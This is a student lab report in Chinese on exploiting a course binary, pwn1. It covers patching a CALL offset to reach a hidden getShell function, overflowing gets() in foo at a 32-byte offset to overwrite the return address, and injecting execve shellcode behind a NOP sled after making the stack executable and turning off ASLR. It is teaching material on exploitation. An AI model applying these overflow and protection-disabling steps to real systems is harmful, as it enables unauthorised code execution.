20242311 2026-2027-1 《网络与系统攻防技术》实验1实验报告

姓名:王润章
学号:20242311


1. 基础知识

1.1 ELF、反汇编与调试

ELF(Executable and Linkable Format)是 Linux 上常见的可执行文件格式。本实验的 pwn1 是 32 位 i386 ELF,虽然 Kali 系统内核为 x86_64,但已具备 32 位程序运行所需的解释器和库,因此不需要更换虚拟机。

实验主要使用 file 确定文件类型,objdump 查看机器指令及函数调用,十六进制编辑工具修改可执行文件内容,xxd 核对二进制输入文件,gdb 查看寄存器、栈数据及单步执行过程。

1.2 常见汇编指令和机器码

在 x86 指令集中,同一种指令可能因操作数和跳转距离不同而有不同编码,下表列出本实验需要掌握的常见形式。

指令 作用 常见机器码示例 说明
NOP 不执行实际操作,EIP 前进 90 可构成 NOP 滑板
JMP 无条件跳转 EB xx、E9 xx xx xx xx 分别是短相对跳转和近相对跳转
JE 比较相等时跳转 74 xx、0F 84 xx xx xx xx 通常检测 ZF=1
JNE 比较不相等时跳转 75 xx、0F 85 xx xx xx xx 通常检测 ZF=0
CMP 比较两个操作数并修改标志位 3D xx xx xx xx 该示例是 cmp eax, imm32,其他操作数编码不同
CALL 压入返回地址并调用目标 E8 xx xx xx xx 本实验使用 call rel32
RET 从栈中取出返回地址 C3 是返回地址覆盖的关键位置

本实验修改的 CALL 指令采用 相对于下一条指令的地址 计算位移,而不是直接把目标函数绝对地址写在指令中。32 位 x86 内存按小端序保存多字节数值,例如地址 0x0804847d 在文件中写成 7d 84 04 08。

1.3 函数栈帧和缓冲区溢出

foo 通过 gets 读取输入。gets 不检查目标缓冲区大小,输入过长时会覆盖缓冲区后面的栈数据,包括保存的 EBP 和函数返回地址。当 ret 从被覆盖的栈位置读取返回地址时,程序就可能跳转到指定位置。

结合本实验的反汇编:

push ebp
mov  ebp, esp
sub  esp, 0x38
lea  eax, [ebp-0x1c]   ; buffer 起始地址
...
leave
ret

buffer 起始位置为 ebp-0x1c。从缓冲区起始处到返回地址的距离为 0x1c + 4 = 0x20,即 32 字节。其中 sub esp,0x38 表示为当前函数栈帧保留空间,不能直接当成返回地址覆盖偏移量。

1.4 Shellcode、NOP 滑板和内存保护

Shellcode 是要让目标进程执行的一段机器指令。任务三采用指导书中的 32 位 Linux Shellcode,目标是通过系统调用 execve("/bin/sh", ...) 启动 Shell。本实验采用的 RNS 布局为:

[任意填充 anything][返回地址 retaddr][NOP 滑板][Shellcode]
      32 字节             4 字节      16 字节    25 字节

NOP 滑板允许返回地址落在一段连续的 90 指令中,顺序执行后进入 Shellcode。为了在课堂实验中验证这一机制,需要确认栈具有执行权限,同时关闭地址空间布局随机化(ASLR)。本机没有使用指导书中的 execstack -s 工具,而采用 patchelf --set-execstack 达到可执行栈的实验目的。关闭 ASLR 并不代表不同启动方式下栈地址必定完全相同。


2. 实验内容

实验对象为Linux 32位ELF程序pwn1。

正常流程:

main -> foo -> 回显输入

程序包含不会正常调用的 getShell 函数。

实验任务:

  1. 修改机器指令,使main调用getShell。
  2. 利用foo函数BOF漏洞覆盖返回地址。
  3. 注入Shellcode并验证执行。

实验文件命名:

pwn2_20242311
pwn3_20242311
input_20242311
input_shellcode_20242311


3. 实验过程

3.1 修改机器指令改变执行流程

分析得到:

getShell = 0x0804847d
foo = 0x08048491
main = 0x080484af

原始:

080484b5: e8 d7 ff ff ff    call 8048491 <foo>

计算:

0x0804847d - 0x080484ba = -0x3d

修改:

e8 d7 ff ff ff

为:

e8 c3 ff ff ff

生成:

pwn2_20242311

修改后:

080484b5: e8 c3 ff ff ff    call 804847d <getShell>

图3-1_pwn1_main_call_foo

图3-2_pwn2_main_call_getShell

运行:

./pwn2_20242311

进入Shell:

图3-3_pwn2_shell_verify


3.2 BOF覆盖返回地址

通过GDB确认:

  • 前32字节为填充;
  • 第33~36字节覆盖返回地址。

getShell:

0x0804847d

小端:

7d 84 04 08

生成:

input_20242311

执行:

(cat input_20242311;cat)|./pwn1

成功跳转到getShell。

图3-4_bof_gdb覆盖返回地址

图3-5_bof_payload输入验证


3.3 Shellcode注入

3.3.1 环境配置

使用:

pwn3_20242311

检查:

ELF 32-bit LSB executable

设置:

patchelf --set-execstack pwn3_20242311

结果:

execstack: X

关闭ASLR:

cat /proc/sys/kernel/randomize_va_space

结果:

0

图3-6_pwn3环境配置

3.3.2 分析foo和构造Payload

foo中:

lea eax,[ebp-0x1c]
call gets
ret

图3-7_foo函数反汇编

测试过程中确认缓冲区位置:

图3-8_缓冲区地址确认

构造测试Payload:

图3-9_测试Payload构造

查看栈布局:

图3-10_测试Payload栈布局

实验过程中发现虚拟机重启后ASLR恢复,需要重新关闭:

echo 0 > /proc/sys/kernel/randomize_va_space

重新测量得到:

NOP地址 = 0xffffcee0

最终Payload:

屏幕截图 2026-10-11 124459

图3-14_重新关闭ASLR并确认环境

3.3.3 GDB验证

执行ret后:

eip = 0xffffcee0

进入NOP区域:

nop
nop
xor eax,eax

图3-12_RET跳转NOP_Shellcode

继续:

catch exec
run < input_shellcode_20242311

得到:

process xxxx is executing new program: /usr/bin/dash

说明Shellcode执行成功。

图3-15_GDB执行dash成功

图3-16_catch_exec结果

3.3.4 普通终端验证

执行:

(cat input_shellcode_20242311;cat)|./pwn3_20242311

出现:

broken pipe
illegal hardware instruction

原因是普通终端和GDB环境存在栈布局差异。

图3-17_Shellcode最终验证补充


4. 问题及解决方案

问题1:任务三初始Payload失败

解决方案:

发现虚拟机重启后ASLR恢复为默认值,重新关闭ASLR并重新测量地址。

问题2:旧返回地址失效

解决方案:

重新测量NOP区域,得到:

0xffffcee0

重新生成Payload。

问题3:普通终端执行异常

解决方案:

通过GDB:

catch exec

确认Shellcode已经成功执行。


5. 学习感悟、思考等

通过本实验,我掌握了ELF分析、机器指令修改、函数调用过程以及Buffer
Overflow攻击原理。

任务一让我理解了CALL相对地址计算。

任务二让我理解了栈帧结构和返回地址覆盖。

任务三让我理解了Shellcode注入、NOP滑板以及ASLR对攻击稳定性的影响。

实验过程中遇到的问题说明,在实际安全分析中不能简单依赖固定地址,需要结合运行环境重新分析。


参考资料